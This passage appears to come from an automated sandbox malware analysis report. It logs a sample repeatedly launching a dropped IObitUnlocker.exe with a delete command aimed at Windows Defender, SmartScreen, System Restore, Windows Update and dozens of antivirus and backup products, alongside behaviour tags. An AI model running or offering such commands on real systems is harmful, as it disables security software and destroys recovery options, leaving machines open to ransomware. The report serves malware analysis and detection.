Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\ProgramData\Acronis\BackupAndRecovery","C:\ProgramData\Acronis\TrueImageHome","C:\ProgramData\Acronis\Schedule2","C:\ProgramData\Acronis\Agent","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Redo","C:\Program Files (x86)\Redo","C:\ProgramData\Redo","C:\Program Files\R-Drive","C:\Program Files (x86)\R-Drive","C:\ProgramData\R-Drive","C:\Program Files\Veeam","C:\Program Files (x86)\Veeam","C:\ProgramData\Veeam","C:\Program Files\ShieldApps","C:\Program Files (x86)\ShieldApps","C:\ProgramData\ShieldApps","C:\Program Files\Horizon DataSys","C:\Program Files (x86)\Horizon DataSys","C:\ProgramData\Horizon DataSys","C:\Program Files\Faronics","C:\Program Files (x86)\Faronics","C:\ProgramData\Faronics","C:\Program Files\Toolwiz Time Freeze","C:\Program Files (x86)\Toolwiz Time Freeze","C:\ProgramData\Toolwiz Time Freeze","C:\Program Files\Raxco","C:\Program Files (x86)\Raxco","C:\ProgramData\Raxco","C:\Program Files\Drive Snapshot","C:\Program Files (x86)\Drive Snapshot","C:\ProgramData\Drive Snapshot","C:\Program Files\Deep Freeze","C:\Program Files (x86)\Deep Freeze","C:\ProgramData\Deep Freeze","C:\Program Files\Reboot Restore Rx","C:\Program Files (x86)\Reboot Restore Rx","C:\ProgramData\Reboot Restore Rx","C:\Program Files\R-Tools Technology Inc","C:\Program Files (x86)\R-Tools Technology Inc","C:\ProgramData\R-Tools Technology Inc","C:\Program Files\R-Drive Image","C:\Program Files (x86)\R-Drive Image","C:\ProgramData\R-Drive Image","C:\Program Files\R-Studio","C:\Program Files (x86)\R-Studio","C:\ProgramData\R-Studio","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software\Avast","C:\Program Files (x86)\AVAST Software\Avast","C:\Program Files\AVAST Software\SecureLine","C:\Program Files (x86)\AVAST Software\SecureLine","C:\Program Files\AVAST Software\Cleanup","C:\Program Files (x86)\AVAST Software\Cleanup","C:\Program Files\AVAST Software\Driver Updater","C:\Program Files (x86)\AVAST Software\Driver Updater","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\Program Files\Fortinet\FortiClient","C:\Program Files (x86)\Fortinet\FortiClient","C:\Program Files\Fortinet\FortiTray","C:\Program Files (x86)\Fortinet\FortiTray","C:\Program Files\Fortinet\FortiESNAC","C:\Program Files (x86)\Fortinet\FortiESNAC","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\Program Files\Malwarebytes\Anti-Malware","C:\Program Files (x86)\Malwarebytes\Anti-Malware","C:\Program Files\Malwarebytes\Endpoint Agent","C:\Program Files (x86)\Malwarebytes\Endpoint Agent","C:\Program Files\Malwarebytes\Browser Guard","C:\Program Files (x86)\Malwarebytes\Browser Guard","C:\ProgramData\Malwarebytes","C:\ProgramData\Malwarebytes\MBAMService","C:\ProgramData\Malwarebytes\MBAMService\ScanResults","C:\ProgramData\Malwarebytes\MBAMService\Quarantine","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:3568
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\ProgramData\Acronis\BackupAndRecovery","C:\ProgramData\Acronis\TrueImageHome","C:\ProgramData\Acronis\Schedule2","C:\ProgramData\Acronis\Agent","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Redo","C:\Program Files (x86)\Redo","C:\ProgramData\Redo","C:\Program Files\R-Drive","C:\Program Files (x86)\R-Drive","C:\ProgramData\R-Drive","C:\Program Files\Veeam","C:\Program Files (x86)\Veeam","C:\ProgramData\Veeam","C:\Program Files\ShieldApps","C:\Program Files (x86)\ShieldApps","C:\ProgramData\ShieldApps","C:\Program Files\Horizon DataSys","C:\Program Files (x86)\Horizon DataSys","C:\ProgramData\Horizon DataSys","C:\Program Files\Faronics","C:\Program Files (x86)\Faronics","C:\ProgramData\Faronics","C:\Program Files\Toolwiz Time Freeze","C:\Program Files (x86)\Toolwiz Time Freeze","C:\ProgramData\Toolwiz Time Freeze","C:\Program Files\Raxco","C:\Program Files (x86)\Raxco","C:\ProgramData\Raxco","C:\Program Files\Drive Snapshot","C:\Program Files (x86)\Drive Snapshot","C:\ProgramData\Drive Snapshot","C:\Program Files\Deep Freeze","C:\Program Files (x86)\Deep Freeze","C:\ProgramData\Deep Freeze","C:\Program Files\Reboot Restore Rx","C:\Program Files (x86)\Reboot Restore Rx","C:\ProgramData\Reboot Restore Rx","C:\Program Files\R-Tools Technology Inc","C:\Program Files (x86)\R-Tools Technology Inc","C:\ProgramData\R-Tools Technology Inc","C:\Program Files\R-Drive Image","C:\Program Files (x86)\R-Drive Image","C:\ProgramData\R-Drive Image","C:\Program Files\R-Studio","C:\Program Files (x86)\R-Studio","C:\ProgramData\R-Studio","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software\Avast","C:\Program Files (x86)\AVAST Software\Avast","C:\Program Files\AVAST Software\SecureLine","C:\Program Files (x86)\AVAST Software\SecureLine","C:\Program Files\AVAST Software\Cleanup","C:\Program Files (x86)\AVAST Software\Cleanup","C:\Program Files\AVAST Software\Driver Updater","C:\Program Files (x86)\AVAST Software\Driver Updater","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\Program Files\Fortinet\FortiClient","C:\Program Files (x86)\Fortinet\FortiClient","C:\Program Files\Fortinet\FortiTray","C:\Program Files (x86)\Fortinet\FortiTray","C:\Program Files\Fortinet\FortiESNAC","C:\Program Files (x86)\Fortinet\FortiESNAC","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\Program Files\Malwarebytes\Anti-Malware","C:\Program Files (x86)\Malwarebytes\Anti-Malware","C:\Program Files\Malwarebytes\Endpoint Agent","C:\Program Files (x86)\Malwarebytes\Endpoint Agent","C:\Program Files\Malwarebytes\Browser Guard","C:\Program Files (x86)\Malwarebytes\Browser Guard","C:\ProgramData\Malwarebytes","C:\ProgramData\Malwarebytes\MBAMService","C:\ProgramData\Malwarebytes\MBAMService\ScanResults","C:\ProgramData\Malwarebytes\MBAMService\Quarantine","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:4036
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\ProgramData\Acronis\BackupAndRecovery","C:\ProgramData\Acronis\TrueImageHome","C:\ProgramData\Acronis\Schedule2","C:\ProgramData\Acronis\Agent","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Redo","C:\Program Files (x86)\Redo","C:\ProgramData\Redo","C:\Program Files\R-Drive","C:\Program Files (x86)\R-Drive","C:\ProgramData\R-Drive","C:\Program Files\Veeam","C:\Program Files (x86)\Veeam","C:\ProgramData\Veeam","C:\Program Files\ShieldApps","C:\Program Files (x86)\ShieldApps","C:\ProgramData\ShieldApps","C:\Program Files\Horizon DataSys","C:\Program Files (x86)\Horizon DataSys","C:\ProgramData\Horizon DataSys","C:\Program Files\Faronics","C:\Program Files (x86)\Faronics","C:\ProgramData\Faronics","C:\Program Files\Toolwiz Time Freeze","C:\Program Files (x86)\Toolwiz Time Freeze","C:\ProgramData\Toolwiz Time Freeze","C:\Program Files\Raxco","C:\Program Files (x86)\Raxco","C:\ProgramData\Raxco","C:\Program Files\Drive Snapshot","C:\Program Files (x86)\Drive Snapshot","C:\ProgramData\Drive Snapshot","C:\Program Files\Deep Freeze","C:\Program Files (x86)\Deep Freeze","C:\ProgramData\Deep Freeze","C:\Program Files\Reboot Restore Rx","C:\Program Files (x86)\Reboot Restore Rx","C:\ProgramData\Reboot Restore Rx","C:\Program Files\R-Tools Technology Inc","C:\Program Files (x86)\R-Tools Technology Inc","C:\ProgramData\R-Tools Technology Inc","C:\Program Files\R-Drive Image","C:\Program Files (x86)\R-Drive Image","C:\ProgramData\R-Drive Image","C:\Program Files\R-Studio","C:\Program Files (x86)\R-Studio","C:\ProgramData\R-Studio","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software\Avast","C:\Program Files (x86)\AVAST Software\Avast","C:\Program Files\AVAST Software\SecureLine","C:\Program Files (x86)\AVAST Software\SecureLine","C:\Program Files\AVAST Software\Cleanup","C:\Program Files (x86)\AVAST Software\Cleanup","C:\Program Files\AVAST Software\Driver Updater","C:\Program Files (x86)\AVAST Software\Driver Updater","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\Program Files\Fortinet\FortiClient","C:\Program Files (x86)\Fortinet\FortiClient","C:\Program Files\Fortinet\FortiTray","C:\Program Files (x86)\Fortinet\FortiTray","C:\Program Files\Fortinet\FortiESNAC","C:\Program Files (x86)\Fortinet\FortiESNAC","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\Program Files\Malwarebytes\Anti-Malware","C:\Program Files (x86)\Malwarebytes\Anti-Malware","C:\Program Files\Malwarebytes\Endpoint Agent","C:\Program Files (x86)\Malwarebytes\Endpoint 